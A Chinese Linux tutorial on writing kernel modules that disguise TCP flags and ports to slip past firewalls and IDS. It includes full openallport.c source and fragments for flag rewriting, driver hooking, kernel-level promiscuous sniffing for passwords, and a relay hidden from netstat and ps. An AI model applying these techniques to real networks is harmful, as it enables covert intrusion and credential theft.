当前位置:Linux教程 - Linux - 利用LLKM处理网络通信---对抗IDS、Firewall

利用LLKM处理网络通信---对抗IDS、Firewall



         作者:kossak (mailto: [email protected])
    ★ 前言

    事实上我并没有翻译Phrack 55-12,它的文字如此之少,当然必须承认其中闪烁
    的智慧之光。阅读lifeline < mailto: [email protected] >的程序,它就在文章
    里,然后再来看这篇文章。

    ★ 目录

    1. IDS、Firewall的某些特性
    2. LLKM能做什么
    3. 一个完整的LLKM例子,简单、临时改变TCP/IP协议栈的行为
    4. 获取TCP自动机状态,更改出现在网络传输线路上的TCP标志位
    5. 另外一种截留本机发送报文、修改、再发送技术
    6. 内核模块里设置混杂模式
    7. 内核模块里文件I/O操作
    8. 内核包转发的讨论

    ★ 正文

    1. IDS、Firewall的某些特性

    以snort为例,其大量IDS规则对TCP的PSH、ACK、SYN标志进行判断。比如,在
    syn-flood告警中,判断短时间内出现的大量SYN包。而更多的对TCP数据区进行内容
    鉴别前,判断了PSH+ACK标志。具体snort规则请参看snort源代码包中举例。

    Firewall阻塞来自外部的TCP连接请求时,需要判断SYN标志。

    IDS和Firewall还有个更重要的通性,对端口的敏感性。21、23、110、513等端
    口都属于敏感端口,许多告警规则、阻塞规则是基于端口的。

    2. LLKM能做什么

    利用LLKM简单、临时改变TCP/IP协议栈的行为。考虑三种情况:

    a. 更改出现在网络传输线路上的TCP标志位
    b. 更改出现在网络传输线路上的端口
    c. 对IP数据区(TCP协议部分)加密处理后传输

    |
    | | |
    A Host ----+----- firewall -----+---- B Host
    (内部) | | | (外部)
    | | |
    C Host(IDS系统) | D Host(普通Sniffer)
    |

    假设A和B都是我们控制的主机,在这两台主机上都加载LLKM。防火墙不允许来自
    外部的任何TCP连接请求,它靠的是判断SYN标志。现在B想telnet到A,LLKM将把B到A
    的SYN标志换成ACK、PSH、RST、RES1、RES2中的任意一个或者几个的组合,以能渗透
    通过防火墙为原则;A上的LLKM先于正常的TCP/IP协议栈接收到这个扭曲处理了的请
    求报文,按照约定好的规则逆向处理,恢复SYN标志后再交给正常的TCP/IP协议栈处
    理。同样,A回送SYN+ACK到B的时候,也做一些转换,B上LLKM会恢复成正常的
    SYN+ACK。对于A、B上的TCP/IP协议栈,它们意识不到发生过转换,用netstat -na看
    到的还是正常的、意料中的状态。对于防火墙,意识不到已经从外部主机成功访问了
    内部主机。对于C、D,会看到奇怪的TCP标志出现。在做标志转换时,还需要考虑对
    抗IDS规则,因具体情况而定。比如,避免在网络传输中出现PSH+ACK标志。

    防火墙和IDS对端口相当敏感,比如不允许telnet、ftp协议通过,只允许http协
    议通过。要做的仅仅是让A、B把23端口换成80端口出现在网络传输中。可能有人认为
    修改双方的/etc/services文件更好些,当然,那也是一种可行的考虑。不过有太多
    情况下利用LLKM动态修改端口更彻底更灵活。至于IDS,对于大多数非周知端口并不
    敏感,意味着逃脱了监测。

    最后要做的就是对IP数据区进行加密传输,IPSec能做到,可我需要的可能仅仅
    是异或处理,仅仅是避开IDS的端口监测、内容监测。一个简单的insmod就能完成的
    任务为什么一定要搬出IPSec呢。

    3. 一个完整的LLKM例子,简单、临时改变TCP/IP协议栈的行为

    例子程序的想法来自华中地区网络中心(bbs.whnet.edu.cn)Security版的
    difeijing朋友,同时感谢AngelFalls朋友参与该版讨论,并提供了八篇谢绝转站的
    <<Linux的TCP/IP协议栈阅读笔记>>。

    程序演示了

    a. LLKM的基本框架和技巧
    b. 利用dev_add_pack()对本机即将发送出去的报文进行修改再发送

    syn半开扫描依赖于被扫描主机返回ACK+RST标志和ACK+SYN标志两种情况,前者
    意味着相应端口未开。connect扫描则完全依赖TCP连接的成功建立。difeijing提出
    了这样一个想法,利用LLKM转换ACK+RST成ACK+SYN,此时syn半开扫描和connect扫描
    都将认定相应端口是打开的。

    --------------------------------------------------------------------------
    /*
    * File : openallport.c
    * Author : scz < mailto: [email protected] >
    * : http://www.nsfocus.com
    * Kernel : 2.2.16 or 2.2.14
    * Complie : gcc -O3 -DMODULE -D__KERNEL__ -c openallport.c
    * Usage : insmod openallport.o [dev=eth0] -x -y -f
    * Date : 2000-10-10 17:40
    */

    #include <linux/config.h>
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/version.h>
    #include <linux/netdevice.h>
    #include <linux/if_ether.h>
    #include <linux/if_packet.h>
    #include <linux/skbuff.h>
    #include <linux/ip.h>
    #include <linux/tcp.h>

    /*
    * 2.2.16内核的/usr/include/linux/version.h文件里定义了这个宏
    * 但2.0.35内核里没有定义
    */
    #ifndef KERNEL_VERSION
    #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
    #endif

    #if LINUX_VERSION_CODE > KERNEL_VERSION(2,2,0)
    #include <asm/uaccess.h>
    #endif

    static struct device * openallport_dev = NULL;
    static char * dev = NULL;

    /* 定义insmod命令行参数 */
    #if LINUX_VERSION_CODE > KERNEL_VERSION(2,2,0)
    MODULE_PARM( dev, \"s\" );
    #endif

    static inline u_long csum_tcpudp_nofold ( u_long saddr, u_long daddr,
    u_short len, u_short proto,
    unsigned int sum )
    {
    __asm__
    (\"
    addl %1, %0
    adcl %2, %0
    adcl %3, %0
    adcl $0, %0
    \"
    : \"=r\" ( sum )
    : \"g\" ( daddr ), \"g\" ( saddr ), \"g\" ( ( ntohs( len ) << 16 ) + proto * 256 ), \"0\" ( sum )
    );
    return sum;
    }

    static inline unsigned int csum_fold ( unsigned int sum )
    {
    __asm__
    (\"
    addl %1, %0
    adcl $0xffff, %0
    \"
    : \"=r\" ( sum )
    : \"r\" ( sum << 16 ), \"0\" ( sum & 0xffff0000 )
    );
    return( ( ~sum ) >> 16 );
    } /* end of csum_fold */

    static inline u_short check_tcpudp ( u_long saddr, u_long daddr,
    u_short len, u_short proto,
    unsigned int sum )
    {
    return( csum_fold( csum_tcpudp_nofold( saddr, daddr, len, proto, sum ) ) );
    } /* end of check_tcpudp */

    int openallport_rcv ( struct sk_buff * skb, struct device * dv, struct packet_type * pt )
    {
    /* 注意pkt_type是什么 */
    if ( ( skb->pkt_type == PACKET_OUTGOING ) && ( skb->protocol == __constant_htons( ETH_P_IP) ) )
    {
    if ( ( skb->nh.iph->version == 4 ) && ( skb->nh.iph->protocol == IPPROTO_TCP ) ) /* 不考虑ipv6 */
    {
    skb->h.raw = skb->nh.raw + ( skb->nh.iph->ihl << 2 );
    if ( ( skb->h.th->ack == 1 ) && ( skb->h.th->rst == 1 ) )
    {
    u_short size;
    int doff = 0;

    skb->h.th->rst = 0;
    skb->h.th->syn = 1;
    size = ntohs( skb->nh.iph->tot_len ) - ( skb->nh.iph->ihl * 4 ); /* IP数据区长度 */
    doff = skb->h.th->doff << 2; /* TCP头部长度 */
    /* 重新计算校验和 */
    skb->csum = 0;
    skb->csum = csum_partial( skb->h.raw + doff, size - doff, 0 ); /* data checksum */
    skb->h.th->check = 0;
    skb->h.th->check = check_tcpudp( skb->nh.iph->saddr, /* tcp or udp checksum */
    skb->nh.iph->daddr,
    size,
    IPPROTO_TCP,
    csum_partial( skb->h.raw, doff, skb->csum ) );
    }
    }
    }
    kfree_skb( skb );
    return( 0 );
    } /* end of openallport_rcv */

    static struct packet_type openallport_packet_type =
    {
    __constant_htons( ETH_P_ALL ), /* 此时可以接收到来自lo的回送报文,比如本机发送出去的 */
    NULL, /* All devices */
    openallport_rcv,
    NULL, /* 如果是2.4内核,这里可以考虑设置成非零,但是openallport_rcv需要改变 */
    NULL,
    };

    int init_module ( void ) /* 模块初始化 */
    {
    if ( dev != NULL )
    {
    openallport_dev = dev_get( dev );
    if ( openallport_dev != NULL )
    {
    openallport_packet_type.dev = openallport_dev;
    }
    }
    dev_add_pack( &openallport_packet_type );
    EXPORT_NO_SYMBOLS;
    return( 0 );
    } /* end of init_module */

    void cleanup_module ( void ) /* 模块卸载 */
    {
    dev_remove_pack( &openallport_packet_type );
    return;
    } /* end of cleanup_module */
    --------------------------------------------------------------------------

    openallport_packet_type变量的第一个成员必须是__constant_htons( ETH_P_ALL ),
    而不能是__constant_htons( ETH_P_IP ),否则无法获取PACKET_OUTGOING类型的报
    文。更改TCP标志后必须重新计算TCP校验和。

    现在我们看看会发生什么。对加载了该模块的主机进行扫描,发现所有端口都是
    打开的。对于connect扫描,如果指定端口并未打开,将出现如下序列:

    A -----SYN-----> B
    A <---ACK+SYN--- B <---- 这里本来应该是 A <---ACK+RST--- B
    A -----ACK-----> B <---- 由于上面的误导,使得A认为TCP连接建立成功
    A <-----RST----- B <---- B已经销毁了TCP自动机,理所当然只能返回RST

    必须意识到,此时主机A上的TCP自动机会进入ESTABLISHED状态,直到收到第四
    步的RST才开始销毁。

    首先,这个模块使扫描方无法快速断定打开的端口,只能利用客户端软件真实连
    接测试。其次,采用connect方式扫描的主机本身负载加大。个人并不认为这个模块
    很有用,但的确很搞笑,我喜欢,再次感谢difeijing的想法。

    4. 获取TCP自动机状态,更改出现在网络传输线路上的TCP标志位

    3中已经演示了如何更改标志。如果A、B主机都加载LLKM的话,没有必要重新计
    算TCP校验和,因为A侧的修改到了B侧会被还原恢复。在网络传输线路上,IP头部校
    验和才是最重要的,而作为IP数据区的TCP校验和只对TCP协议处理部分有意义。3中
    仅仅修改了TCP标识,并不需要重新计算IP头部校验和。

    lifeline想实现而没有实现的是仅仅在TCP_LISTEN、TCP_SYN_SENT 和
    TCP_SYN_RECV三个状态下才更改TCP标志。现在问题集中在如何获取当前TCP自动机状
    态。struct sk_buff {}里有一个成员:

    struct sock * sk; /* Socket we are owned by */

    sk->state用于存放自动机状态。但是对于我们所处的位置xxx_rcv()回调函数,
    PACKET_OUTGOING和PACKET_HOST两种情况下,该值(sk)均尚未正确赋值,并不能如你
    所想象的那样,使用skb->sk->state获取当前TCP自动机状态。对于PACKET_OUTGOING
    情形,可用如下代码观察确定:

    --------------------------------------------------------------------------
    int getsk_rcv ( struct sk_buff * skb, struct device * dv, struct packet_type * pt )
    {
    /* 注意pkt_type是什么 */
    if ( ( skb->pkt_type == PACKET_OUTGOING ) && ( skb->protocol == __constant_htons( ETH_P_IP) ) )
    {
    if ( ( skb->nh.iph->version == 4 ) && ( skb->nh.iph->protocol == IPPROTO_TCP ) ) /* 不考虑ipv6 */
    {
    skb->h.raw = skb->nh.raw + ( skb->nh.iph->ihl << 2 );
    if ( skb->sk != NULL ) /* 显然此时sk成员并没有被赋予适当的值 */
    {
    switch ( skb->sk->state )
    {
    case TCP_LISTEN:
    printk( \"TCP_LISTEN\\n\" );
    break;
    case TCP_SYN_SENT:
    printk( \"TCP_SYN_SENT\\n\" );
    break;
    case TCP_SYN_RECV:
    printk( \"TCP_SYN_RECV\\n\" );
    break;
    case TCP_ESTABLISHED:
    printk( \"TCP_ESTABLISHED\\n\" );
    break;
    default:
    printk( \"what\\n\" );
    break;
    } /* end of switch */
    }
    else
    {
    printk( \"here\\n\" );
    }
    }
    }
    kfree_skb( skb );
    return( 0 );
    } /* end of getsk_rcv */
    --------------------------------------------------------------------------

    PACKET_HOST情形呢,刚刚从链路层上来,sk是否指向有效数据区呢?其实在上述代
    码中用printk()观察一下即可。也可以观察ip_input.c里ip_rcv()流程中是否处理了
    sk这个成员。据观察,tcp_ipv4.c里的tcp_v4_rcv()自己调用了内核函数获取sk,显
    然接收过程中来自链路层的sk不可用。

    在做了某些尝试后,决定直接使用内核未输出的函数tcp_v4_lookup(),也就是
    tcp_v4_rcv()里用来获取TCP自动机状态的那个函数。用ksyms -a命令,或者
    cat /proc/ksyms查看内核是否输出了某个函数func(),如果输出了就可以在modules
    中直接使用函数名(符号)调用它。遗憾的是(对于我们这种不守清规戒律的而言),内
    核里大量有用的函数并未输出,怎么办?

    还记得编译内核时产生的System.map吗。cat System.map | grep tcp_v4_lookup
    看看你得到了什么,一个函数指针!听到天使敲门的声音了吗(大兔子语),我听到了:

    --------------------------------------------------------------------------
    static u_long tcpfunc = 0;

    /* 定义insmod命令行参数 */
    #if LINUX_VERSION_CODE > KERNEL_VERSION(2,2,0)
    MODULE_PARM( tcpfunc, \"l\" ); /* 指向内核函数的指针 */
    #endif

    typedef struct sock * ( *funcPointer ) ( u32 saddr, u16 sport, u32 daddr, u16 dport, int dif );

    static funcPointer orig_tcp_v4_lookup;

    int init_module ( void ) /* 模块初始化 */
    {
    ... ...
    if ( tcpfunc == 0 )
    {
    printk( \"Error: missing tcpfunc\\n\" );
    return( -ENXIO );
    }
    orig_tcp_v4_lookup = ( funcPointer )tcpfunc;
    ... ...
    return( 0 );
    } /* end of init_module */
    --------------------------------------------------------------------------

    这样的代码和内核是紧耦合的,并不推荐如此使用内核未输出的函数,作为一种
    纯技术讨论意义上应用提供上来。必须留心所使用的System.map应该是当前内核对应
    的那个,每次重新编译内核都会产生新的System.map。从安全角度出发,强烈建议删
    除该文件,klogd和ps会用到它而已。

    下面是自己的antiids.c中的实现片段:

    --------------------------------------------------------------------------
    switch ( sk->state )
    {
    case TCP_LISTEN: /* 作为server等待来自client的SYN */
    if ( skb->h.th->fin == 1 )
    {
    skb->h.th->fin = 0;
    skb->h.th->syn = 1;
    }
    break;
    case TCP_SYN_SENT: /* 作为client主动发起连接请求,等待来自server的ACK+SYN */
    if ( ( skb->h.th->res1 == 1 ) && ( skb->h.th->rst == 1 ) )
    {
    /* RES1 + RST --> SYN + ACK */
    skb->h.th->res1 = 0;
    skb->h.th->syn = 1;
    skb->h.th->rst = 0;
    skb->h.th->ack = 1;
    }
    break;
    case TCP_ESTABLISHED: /* 在连接保持状态,伪装PSH+ACK */
    if ( ( skb->h.th->fin == 1 ) && ( skb->h.th->res1 == 1 ) )
    {
    /* FIN + RES1 --> PSH + ACK */
    skb->h.th->fin = 0;
    skb->h.th->psh = 1;
    skb->h.th->res1 = 0;
    skb->h.th->ack = 1;
    }
    break;
    default:
    break;
    } /* end of switch */
    if ( skb->h.th->res1 == 2 )
    {
    skb->h.th->res1 = 0;
    skb->h.th->ack = 1;
    }
    --------------------------------------------------------------------------

    这里给的是PACKET_HOST情形下的处理流程,PACKET_OUTGOING情形下的处理流程
    类似,注意反过来啊。你并不一定要这样伪装,我这样做是为了渗透防火墙、对抗某
    些IDS。假设主机D是SPARC/Solaris系统,运行如下命令:

    /usr/sbin/snoop -V tcp and src host A and dst host B

    观察加载LLKM之后的A、B通信过程,确认没有SYN、PSH、ACK标志出现在网络传输线
    路上。

    5. 另外一种截留本机发送报文、修改、再发送技术

    /usr/src/linux-2.2.16/include/linux/netdevice.h里定义了

    struct device
    {
    ...
    int ( *hard_start_xmit ) ( struct sk_buff * skb, struct device * dev );
    ...
    }

    2.4内核里这个结构名字叫struct net_device {}

    这个回调函数会在本机发送报文时被调用,我们采用传统的hook技术挂接它即可:

    --------------------------------------------------------------------------
    int ( *orig_hard_start_xmit ) ( struct sk_buff * skb, struct device * dev );

    int antiids_hard_start_xmit ( struct sk_buff * skb, struct device * dev )
    {
    if ( skb->protocol == __constant_htons( ETH_P_IP) )
    {
    if ( skb->nh.iph->version == 4 ) /* 不考虑ipv6 */
    {
    /* 这个修正不再必要 */
    // skb->h.raw = skb->nh.raw + ( skb->nh.iph->ihl << 2 ) );
    /* 注意pkt_type是什么 */
    if ( ( skb->pkt_type == PACKET_HOST ) && ( skb->nh.iph->daddr == magic_ip ) )
    {
    // 既然antiids_rcv足以影响发送,就没有必要在这里hook什么了
    /*
    if ( skb->h.th->dest == htons( port ) )
    {
    skb->h.th->dest = htons( fakeport );
    }
    if ( skb->h.th->source == htons( port ) )
    {
    skb->h.th->source = htons( fakeport );
    }
    */
    }
    }
    }
    return( orig_hard_start_xmit( skb, dev ) ); /* 调用原来的底层发送函数 */
    } /* end of antiids_hard_start_xmit */

    int init_module ( void ) /* 模块初始化 */
    {
    ... ...
    orig_hard_start_xmit = NULL;
    if ( dev != NULL )
    {
    antiids_dev = dev_get( dev );
    if ( antiids_dev != NULL )
    {
    /* hook底层发送函数 */
    orig_hard_start_xmit = antiids_dev->hard_start_xmit;
    antiids_dev->hard_start_xmit = &antiids_hard_start_xmit;
    }
    }
    ... ...
    return( 0 );
    } /* end of init_module */

    void cleanup_module ( void ) /* 模块卸载 */
    {
    ... ...
    if ( antiids_dev != NULL )
    {
    if ( orig_hard_start_xmit != NULL )
    {
    /* 去掉钩子函数 */
    antiids_dev->hard_start_xmit = orig_hard_start_xmit;
    }
    }
    ... ...
    return;
    } /* end of cleanup_module */
    --------------------------------------------------------------------------

    这种技术和antiids_rcv()相比,需要在insmod命令行上指定具体设备名(诸如
    eth0),因为只能hook具体设备上的回调函数hard_start_xmit(),而antiids_rcv()
    可以影响所有设备。正如注释所言,既然antiids_rcv足以影响发送,没有必要在这
    里hook,写在这里是不想让一段技术探索毫无痕迹地消失。

    6. 内核模块里设置混杂模式

    yawl给出了详细的源代码搜索过程,difeijing贴过一个可用的C程序,细节讨论
    请参看华中地区网络中心(bbs.whnet.edu.cn)Security版。下列代码是他们二位的成
    果,:-)

    --------------------------------------------------------------------------
    int init_module ( void ) /* 模块初始化 */
    {
    ... ...
    if ( dev != NULL )
    {
    kernelsniffer_dev = dev_get( dev );
    if ( kernelsniffer_dev != NULL )
    {
    /* thanks for difeijing of whnet\s Security */
    old_flags = kernelsniffer_dev->flags;
    old_gflags = kernelsniffer_dev->gflags;
    /*
    * 参看net/core/dev.c里的dev_change_flags()
    * ->gflags的作用是避免多次重复设置混杂模式,没有其他特别含义
    */
    /* 设置混杂模式 */
    kernelsniffer_dev->flags |= IFF_PROMISC;
    kernelsniffer_dev->gflags |= IFF_PROMISC;
    start_bh_atomic();
    /* 注意,这个回调函数还是会报告 eth0: Setting promiscuous mode. */
    kernelsniffer_dev->set_multicast_list( kernelsniffer_dev );
    end_bh_atomic();
    }
    }
    ... ...
    EXPORT_NO_SYMBOLS;
    return( 0 );
    } /* end of init_module */

    void cleanup_module ( void ) /* 模块卸载 */
    {
    ... ...
    if ( kernelsniffer_dev != NULL )
    {
    /* 恢复原有模式 */
    kernelsniffer_dev->flags = old_flags;
    kernelsniffer_dev->gflags = old_gflags;
    start_bh_atomic();
    kernelsniffer_dev->set_multicast_list( kernelsniffer_dev );
    end_bh_atomic();
    }
    return;
    } /* end of cleanup_module */
    --------------------------------------------------------------------------

    阅读net/core/dev.c里的dev_change_flags()函数(这个函数内核未输出),一路
    跟踪下去,gflags成员的作用是避免多次重复设置混杂模式,没有其他特别含义。如
    果这里你没有给gflags置1,下次其他程序设置混杂模式时也会置1的。

    set_multicast_list()回调函数会报告\"eth0: Setting promiscuous mode.\",
    换句话说,写内核的人报告了一次,写网卡驱动的人又报告了一次,看来他们生怕你
    偷偷摸摸进入网卡混杂模式。yawl曾以为绕过内核的报告就避免这类警告信息出现,
    失算了。

    7. 内核模块里文件I/O操作

    --------------------------------------------------------------------------
    void deleteNode ( ... )
    {
    char out[ MAXDATALEN + SAFEPADLEN ];

    ... ...
    sprintf( out, \"\\n[ end ]\\n\" );
    kernel_writefile( out, strlen( out ) );
    ... ...
    return;
    } /* end of deleteNode */

    void kernel_writefile ( char * byteArray, int byteArrayLen )
    {
    mm_segment_t fs;

    fs = get_fs();
    set_fs( KERNEL_DS ); /* 允许访问4GB虚拟地址空间 */
    down( &loginode->i_sem ); /* 在临界区down()一个信号量 */
    logfile->f_op->write( logfile, byteArray, byteArrayLen, &logfile->f_pos );
    up( &loginode->i_sem ); /* 在临界区up()一个信号量 */
    set_fs( fs );
    return;
    } /* end of kernel_writefile */

    int init_module ( void ) /* 模块初始化 */
    {
    if ( log != NULL )
    {
    if ( strlen( log ) <= LOGNAMELEN )
    {
    strcpy( logfilename, log );
    }
    }
    /* 对于入侵,这里不采用创建模式更好些,只是需要提前手工创建日志文件而已 */
    logfile = filp_open( logfilename, O_CREAT | O_WRONLY | O_APPEND, 0 ); /* 打开文件 */
    if ( IS_ERR( logfile ) ) /* 打开失败 */
    {
    int errno;

    errno = PTR_ERR( logfile );
    printk( \"errno = %i\\n\", errno );
    return( -ENXIO );
    }
    loginode = logfile->f_dentry->d_inode;
    if ( !S_ISREG( loginode->i_mode ) ) /* 非普通文件 */
    {
    fput( logfile ); /* 关闭文件 */
    printk( \"Not a regular file.\\n\" );
    return( -ENXIO );
    }
    ... ...
    EXPORT_NO_SYMBOLS;
    return( 0 );
    } /* end of init_module */

    void cleanup_module ( void ) /* 模块卸载 */
    {
    ... ...
    if ( logfile != NULL )
    {
    fput( logfile ); /* 关闭日志文件 */
    }
    ... ...
    return;
    } /* end of cleanup_module */
    --------------------------------------------------------------------------

    get_fs()和set_fs()操作没有必要,内核模块本来就可以访问4GB虚拟地址空间。
    以前很多LLKM文章介绍内核模块里文件I/O时采用系统调用SYS_open,而这里采用输
    出过的内核函数filp_open(),显然更方便。->write()是设备上的回调函数,在
    <<利用Linux可加载内核模块进行TTY Hijacking>>里详细介绍过了。这比SYS_write
    系统调用快很多。为了减少内核模块里的文件I/O,尽量一次多组织数据,降低对
    ->write()的回调次数。

    kossak < mailto: [email protected] >在自己的内核sniffer中介绍了上
    述技术。并不需要他那些过滤、重组技术,我们要做的是Password Sniffer,对此比
    较好的实现来自Michael R. Widner\s Password Sniffer for SPARC/Solaris,尽管
    Michael R. Widner公布的代码不美观,仔细看下去觉得其相当实用并充满技巧性,
    可以从packetstorm获取它的源代码,并移植到这里来,我正是这样做的。

    内核级Password Sniffer和传统技术相比,尚未看出好处,ps自然是无法找到它
    了,如果结合LLKM隐藏技术倒是很有前途。不知道SPARC/Solaris下有无可能编写内
    核级Password Sniffer。

    8. 内核包转发的讨论

    kossak的内核包转发实现有个问题,对MAC地址的处理上。

    A ------------ B ------------ C

    假设这个kernelrelay.c加载到了B,A访问B的23端口时,B会转发报文到C,反之亦然。

    A -----------> B 模块将获取如下所示报文
    aMac --> bMac + aIp --> bIp + aPort --> cPort

    B -----------> C

    模块做如下所示转换
    bMac --> cMac + bIp --> cIp + aPort --> cPort

    在这里需要重新计算IP校验和、TCP校验和,尤其是TCP校验和。
    虽然端口没有改变,但是TCP校验和涉及到伪头标,IP地址的改变
    会影响到TCP校验和。

    B <----------- C

    模块将获取如下所示报文
    bMac <-- cMac + bIp <-- cIp + aPort <-- cPort


    A <----------- B 模块做如下所示转换
    aMac <-- bMac + aIp <-- bIp + aPort <-- cPort

    同样在这里需要重新计算IP校验和、TCP校验和。

    不讨论何时才进行这种转发,现在来看看上面图示。在B上加载kernelrelay.o的
    时候,仅仅知道要对A、C之间的报文转发,A->B的时候我们可以记录下A的MAC,但C
    的MAC谁来告诉B上的kernelrelay.o?不要告诉我你要做ARP解析啊。kossak在这里的
    实现很令人费解,自己读读源代码吧。我的解决办法是,A-->B的时候记录A的MAC,
    B<--C的时候记录C的MAC,那么第一次B-->C的时候用什么做目标MAC呢?用全0xff的
    广播MAC地址!这种解决办法有很多缺陷。第一,每次记录源MAC地址,很容易遭受恶
    意的MAC地址欺骗,呵,我们本来就是入侵者,到头来还怕螳螂捕蝉黄雀在后。第二,
    使用广播MAC地址将严重依赖于目标系统(这里就是C)对广播地址的反应。当C是
    SPARC/Solaris的时候,效果最好。当B上的kernelrelay.o获取了A、C的MAC地址之后,
    就不再使用广播MAC地址,此后的双向通信顺畅。前面已经演示了如何在内核模块里
    计算TCP校验和。只需要在此之后调用:

    ip_send_check( skb->nh.iph ); /* ip checksum */

    重新计算IP校验和即可。struct packet_type kernelrelay_packet_type的第一个成
    员赋值__constant_htons( ETH_P_IP )即可,内核包转发并不需要处理
    PACKET_OUTGOING报文。

    内核级包转发的直接好处是,在B上使用netstat -na看不到与A、C通信相关的
    TCP自动机状态,在B上使用ps也看不到异常进程,结合LLKM隐藏技术后相当高效、隐
    蔽。而在C上看到的TCP自动机反应的是和B的通信。这种转发对B的IP协议处理没有冲
    击,kernelrelay_rcv()中会做如下赋值:

    skb->pkt_type = PACKET_OUTGOING;

    后续的ip_rcv()不会把它当作PACKET_HOST类型报文处理。具体请用Source Insight
    跟踪/usr/src/linux-2.2.16/net/ipv4/ip_input.c。

    ★ 后记

    内核模块编程有很多非常细微的技巧,我对Linux Kernel一窍不通,此次被迫翻
    阅内核实现,小吱吱 < mailto: [email protected] >帮助我建立了2.2.17和2.4两个
    源代码工程,在NetGuy < mailto: [email protected] >帮助下再次捡起Source
    Insight这个利器。要做LLKM研究,想必你也会走同一条路的。openallport.c因为不
    具有攻击性,我给出了完整源代码,给lifeline发送了一份完整的antiids.c,至于
    kernelrelay.c和kernelsniffer.c的完整增强实现并不打算提供给script kiddies,
    原作者是这个意思。如果是Programmer之间的技术讨论,欢迎之至。

    出于对原作和原作曾经参考过的资料的尊重,附上参考文献列表,而这里没有列
    举的最好的参考资料应该是Linux源代码树。

    [参考文献]

    1. The Linux Kernel by David A. Rusling
    2. TCP/IP Illustrated, Volume 1 by W. Richard Stevens (Addison Wesley)
    3. Phrack Issue 52, article 18 (P52-18) by plaguez.

    <完>


    发布人:Crystal 来自:绿盟科技